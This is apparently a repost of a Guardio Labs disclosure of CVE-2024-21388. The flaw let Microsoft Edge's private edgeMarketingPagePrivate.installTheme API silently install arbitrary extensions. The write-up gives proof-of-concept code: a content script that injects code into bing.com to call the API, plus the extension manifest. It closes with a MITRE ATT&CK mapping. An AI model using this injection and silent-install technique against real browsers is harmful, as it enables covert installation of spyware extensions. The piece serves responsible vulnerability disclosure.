By Oleg Zaytsev (Guardio Labs)
Guardio Labs discovered a vulnerability in the Microsoft Edge browser, designated CVE-2024–21388. This flaw could have allowed an attacker to exploit a private API, initially intended for marketing purposes, to covertly install additional browser extensions with broad permissions without the user’s knowledge. Promptly after our discovery, we fully disclosed the issue to Microsoft, leading to a resolution in February 2024.
In this write-up, we unfold our discovery process, showcase the vulnerability with straightforward Proof of Concept (POC) code, and ponder the broader security implications. The resolution of CVE-2024–21388 underscores the ongoing challenge of balancing user experience with cybersecurity. It serves as a reminder that enhancements aimed at improving browser functionality must be carefully weighed against the potential for creating exploitable security gaps, highlighting the importance of collaborative security efforts and proactive vulnerability management.
Securing the Browser-Extension Interface
At Guardio, making browsing safer is what we do best, with one of our key products being a browser extension that boosts users’ security on desktop browsers. Our expertise in this area led us to delve into how browser extensions interact with browsers, aiming to spot and fix vulnerabilities before they fall into the wrong hands.
Following our earlier discovery in the Opera Browser, where we identified a method to break out of the browser environment and run code on the OS level using a mere extension, our attention shifted to Microsoft’s Edge browser — a daily tool many of us use. Here, we uncovered a vulnerability that, despite its simplicity, could have severe consequences if exploited.
Long story short: This vulnerability enabled anyone with a method to run JavaScript on bing.com or microsoft.com pages to install any extensions from the Edge Add-ons Store without the user’s consent or interaction. This is an “Elevation of Privilege” issue and was classified as Moderate in severity by the Microsoft Security Response Center (MSRC)
We fully disclosed this issue to Microsoft as soon as we realized it back in November 2023, and once fixed and deployed as part of an early February 2024 security patch, it was also granted the CVE code of CVE-2024–21388.
Chromium’s Customization Infra
To fully understand the vulnerability and its origin, we start our journey in the backbone of the Chromium project infrastructure and how Microsoft used it for their branded Browser — Edge.
Since April 2021, Microsoft Edge has utilized the open-source Chromium engine. Chromium’s architecture, known for its customizability, paved the way for Microsoft to adapt and rebrand that open-source project for Edge. This process, while innovative, also introduced new potential security risks in the form of proprietary code altering and adding functionality to the open-sourced project.
A relevant example of how Chromium customization works is the Chrome Web Store. While it has all of the features of a simple webpage like any other, it also has specifically granted access to some powerful APIs enabling it to install a new extension to your browser — a capability reserved ONLY for the vendor’s branded web store:
The configuration for these unique capabilities is primarily located in the _api_features.json file, as designed by the Chromium open-source project. These files outline the allocation of permissions and vendor-specific APIs to various contexts.
So, if we want to discover how the Chrome Webstore website manages extensions and installs them, this would be the place to look. There we would find that this context receives special access to chrome.management API, allowing it to uninstall and disable extensions and to the chrome.webstorePrivate API, a hidden API explicitly created for the Webstore that allows it to install extensions.
Surely there are other ways to customize your Chromium-based browser. One such way is described in our MyFlaw research, where a custom API allows the MyFlow Opera website to download and execute files on your operating system, bypassing the Browser sandbox.
And so, this is indeed a great place for adversaries to scout for possible attack surfaces on the Edge Browser…
Diving Into The Edge
While we investigated the Edge browser, we chose to focus on the configuration files and other customized code found within the resources.pak file in the Edge’s “Program Files” directory. This is the file packing inside all the relevant resources of the browser, including the declaration of special permissions as well as vendor-specific APIs.
With the help of the open-source tool chrome-pak-customizer, we accessed these archive files, and by comparing these files to their counterparts in the base version of Chromium, we identified new custom APIs and determined which websites were granted access to them. While the focus was on finding logical issues in API security, looking for code vulnerabilities in such areas is also a common practice.
Eventually, we stumbled upon the edgeMarketingPagePrivate API:
"edgeMarketingPagePrivate": {
"channel": "stable",
"contexts": [
"blessed_web_page",
"web_page",
"webui",
"serviceui"
],
"matches": [
"https://microsoftedgewelcome.microsoft.com/*",
"https://www.microsoft.com/*",
"https://microsoftedgetips.microsoft.com/*",
"https://www.bing.com/*",
"edge://surf/*",
"https://localhost.msn.com/*",
"https://ntp.msn.com/*",
"https://ntp.msn.cn/*"
]
},
This private API is accessible from a list of websites that belong to Microsoft, as seen above. Upon analyzing the API itself, it seems to be designed to integrate and activate numerous marketing showcases of Edge browser features seamlessly within the framework of a web page.
As seen in the above clip, one such example is the ability to open the copilot tab directly from a link on the webpage, as well as other apps and browser capabilities. But what really caught our attention was the curiously sounding method called installTheme.
The Hidden API that Sneaks in an Extension
As it is easy to guess, this method installs a theme from Microsoft’s “Add-ons Store.” All it requires is a themeId and the theme’s manifest file. Themes just change the look and feel of the browser, yet it’s worth mentioning that behind the scenes, a theme is actually a type of browser extensio. A regular extension is much more powerful and, among the productive benefits of them all, are constantly being abused to steal information, credentials, crypto wallets, and whatnot, all under the impersonation of other benign tools like a simple color picker…
Instead of just installing a theme, could this API give its initiator a means to install an extension? Why not just try it? Changing the themeId to any extensionId from the Add-On store, and voilà! Looks like it won’t even try to validate the Id input here for it’s extension type, and we got here a simple JavaScript method that installs any extension we wish!
As an added bonus, as this extension installation is not done quite in the manner it was originally designed for, there will be no need for any interaction or consent from the user!
Yet, this is a private API. Only privileged and selected websites can integrate it and be able to call it — as described by the API definition above. And those websites are fully immune to being exploited like this — or aren’t they?…
Exploitation by Injecting JavaScript Snippets
To call this method and install an extension, one must execute this code from the context of a privileged website. Let’s say, from bing.com.
One notorious option is XSS — A cross-site scripting vulnerability on one of the privileged domains. Certainly, an XSS represents a powerful vulnerability in its own right and is by no means easy to discover within such high-profile domains. However, its security impact is small compared to what is possible when combined with this API exploitation. The last will provide the adversary with a means to escape the web context, leveraging an XSS up to spyware level in the form of an extension that tracks your every action in the browser and takes over your accounts and money.
Another possibility is the use of a minimal privileged extension that can be easily crafted and added to the Add-On store under the disguise of a general-purpose productivity tool. All the extension needs to do is add or replace one of the scripts in, let’s say bing.com and make it call the above API:
Exploit POC — Simple, Yet Powerful Extension
For an extension to be able to call this API from the correct context, one can use WebRequest manipulation or just directly inject this script into the bing.com context with the ContentScripting capability. The last is quite a simple permission almost all extensions share, and also the easiest to abuse.
So, the extension will just open the bing.com website (or wait for the search for anything) and inject a simple script into its context. One that does one simple thing — calls the private API.
The contentScript.js file of the stage-1 extension will start the injection sequence using the createElement method. This will dynamically introduce a new inline script tag, under our control, into the actual bing.com context. Using this method, we can actually inject a script into the desired context, bypassing the less privileged extension content script context we started at.
That script will then call the private API at chrome.edgeMarketingPagePrivate.installThemecausing Bing to initiate a new silent extension install!
function injectScript() {
const scriptElement = document.createElement("script");
script = `manifest = {TARGET_EXTENSION_MANIFEST}
};
x = JSON.stringify(manifest);
chrome.edgeMarketingPagePrivate.installTheme(
"{TARGET_EXTENSION_ID}",
x,
console.log
);`;
scriptElement.src =
"data:application/javascript;charset=utf-8;base64," +
btoa(unescape(encodeURIComponent(script)));
document.body.appendChild(scriptElement);
}
injectScript();
And the extension manifest is super simple as well:
{
"name": "edge-extension-install-poc-conetntscript",
"version": "1.0",
"content_scripts": [
{
"matches": ["https://www.bing.com/*"],
"js": ["contentScript.js"]
}
],
"permissions": [
"activeTab",
"<all_urls>"
],
"manifest_version": 2
}
Executing this extension on the Edge browser and going to bing.com will automatically install our selected extension. In the following clip, as an example, we choose to install the uBlock open-source ad-blocker:
Disclaimer — uBlock is a legitimate extension and is not associated with our research or the exploit POC. It was referenced purely for illustrative purposes.
Adversaries Persistancy and Other Consequences
While the exploitation of this vulnerability may not seem direct, adversaries could misuse it in damaging ways. Consider the seemingly innocuous ad-blocker extensions or other free productivity tools available in add-on stores, which use minimal permissions. Our findings indicate that a simple configuration change could allow these harmless extensions to install others with higher privileges without the user’s knowledge.
It’s relatively easy for attackers to trick users into installing an extension that appears harmless, not realizing it serves as the initial step in a more complex attack. This vulnerability could be exploited to facilitate the installation of additional extensions, potentially for monetary gain.
Concerns also arise regarding genuinely malicious extensions. Although such extensions are prohibited in the official add-on store, malicious actors have been known to bypass these restrictions using obfuscation techniques, dynamic code loading, and convincing cover stories. While these malicious extensions are eventually detected and removed, their brief time in the store can be harmful. Imagine the impact if attackers had already distributed millions of stage-1 extensions, allowing them to silently install a malicious extension across numerous devices with a single command once it becomes available in the store.
Disclosure Timeline and Current State
Microsoft was quite responsive to our disclosure, quickly re-creating the issue on their end and setting the fix design and target release. Overall less than 3 months from the initial disclosure to the security fix release on version 121.0.2277.98.
The issue was fixed by carefully checking what extension ID and extension type are being presented to this API. Thus, it can now only install themes as expected. Yet, it is essential to mention the flow of our POC above is still there — an extension can still manipulate the javascript code of those selected domains, thus reaching the privileged context to call this private API (and others).
Final Thoughts
Following the implementation of this fix, we are not currently aware of any remaining vulnerabilities that can be exploited from this standpoint. However, it’s crucial to highlight that the interaction between extensions, privileged websites, and private APIs presents a significant security concern within the Chromium framework. Here at Guardio, this marks the second occasion in recent months where we’ve identified serious vulnerabilities stemming from this very issue.
Relying solely on domain-based permissions to access potent private APIs is insufficient. The potential compromise of a domain or subdomain poses a real threat, as evidenced by a substantial campaign of subdomain takeovers we recently uncovered, affecting over 10,000 domains.
The issue extends to extensions designed to inject code into websites. A simple yet effective countermeasure could involve restricting such extensions from modifying specific domains, akin to Chrome’s policy for its Webstore. Allowing code injection on domains like microsoft.com, bing.com, and msn.com, although a core use case for extensions, is inherently risky and must be handled with care.
This situation underscores the critical balance between user convenience and security. Enhancing user experience should not undermine security protocols. Developers and platform operators must focus on security throughout the development cycle, introducing measures to prevent exploitation. Even seemingly minor vulnerabilities represent significant risks, and the bad guys will always find the worst ways to exploit those.
Source: Original Post
MITRE TTP :
Initial Access (TA0001):
- Exploit Public-Facing Application (T1190): The attackers exploited a vulnerability in the Microsoft Edge browser to gain initial access to the victim’s system.
Execution (TA0002):
- User Execution (T1204): While the exploitation did not require direct user interaction, the initial stage of the attack could involve tricking the user into installing a seemingly benign extension that serves as a vector for the attack.
Persistence (TA0003):
- Browser Extensions (T1176): The vulnerability allowed attackers to install browser extensions without user consent, providing a persistent foothold in the victim’s browser.
Privilege Escalation (TA0004):
- Exploitation for Privilege Escalation (T1068): The exploit allowed attackers to elevate privileges by installing extensions with broader permissions than initially intended.
Defense Evasion (TA0005):
- Masquerading (T1036): Attackers could disguise malicious extensions as legitimate ones to evade detection.
- Obfuscated Files or Information (T1027): The use of a private API and indirect methods to install extensions could be seen as obfuscation to avoid detection by security solutions.
Discovery (TA0007):
- File and Directory Discovery (T1083): The malware may need to discover files and directories relevant to the browser and its extensions as part of its operation.
Collection (TA0009):
- Data from Local System (T1005): Once installed, malicious extensions could collect sensitive data from the local system.
Command and Control (TA0011):
- Application Layer Protocol (T1071): Communication with the command and control server would likely occur over standard application layer protocols.
The impact of the vulnerability CVE-2024–21388 discovered in the Microsoft Edge browser is multifaceted:
User Privacy and Security:
- T1555: Credentials from Password Stores — Attackers could leverage browser extensions to access stored credentials.
- T1056: Input Capture — Covertly installed extensions could capture user input, leading to unauthorized access to sensitive data.
- T1606: Forge Web Credentials — Malicious extensions could be used to forge credentials for websites.
Erosion of Trust:
- T1553: Subvert Trust Controls — Installing extensions without user consent undermines trust in the browser’s security mechanisms.
- T1556: Modify Authentication Process — Extensions could modify the authentication process to bypass security controls.
Potential for Malicious Exploitation:
- T1190: Exploit Public-Facing Application — Attackers could exploit the vulnerability to install malicious extensions.
- T1059: Command and Scripting Interpreter — Malicious extensions could execute scripts to perform harmful activities.
- T1566: Phishing — Attackers could use phishing techniques to lure users into installing malicious extensions.
Challenges in Balancing User Experience and Security:
- T1557: Man-in-the-Browser — Balancing enhancements with security measures is crucial to prevent man-in-the-browser attacks through malicious extensions.
Importance of Collaborative Security Efforts:
- T1589: Gather Victim Identity Information — Collaborative efforts help in identifying and addressing vulnerabilities that could be exploited to gather sensitive information.
Highlighting the Risks of Customization:
- T1505: Server Software Component — Customization of the Chromium engine poses risks, as proprietary code alterations could introduce vulnerabilities.
Broader Security Concerns:
- T1552: Unsecured Credentials — Granting permissions to powerful private APIs could lead to unsecured credentials if domains are compromised.
- T1550: Use Alternate Authentication Material — The interaction between extensions and privileged websites could allow attackers to use alternate authentication materials.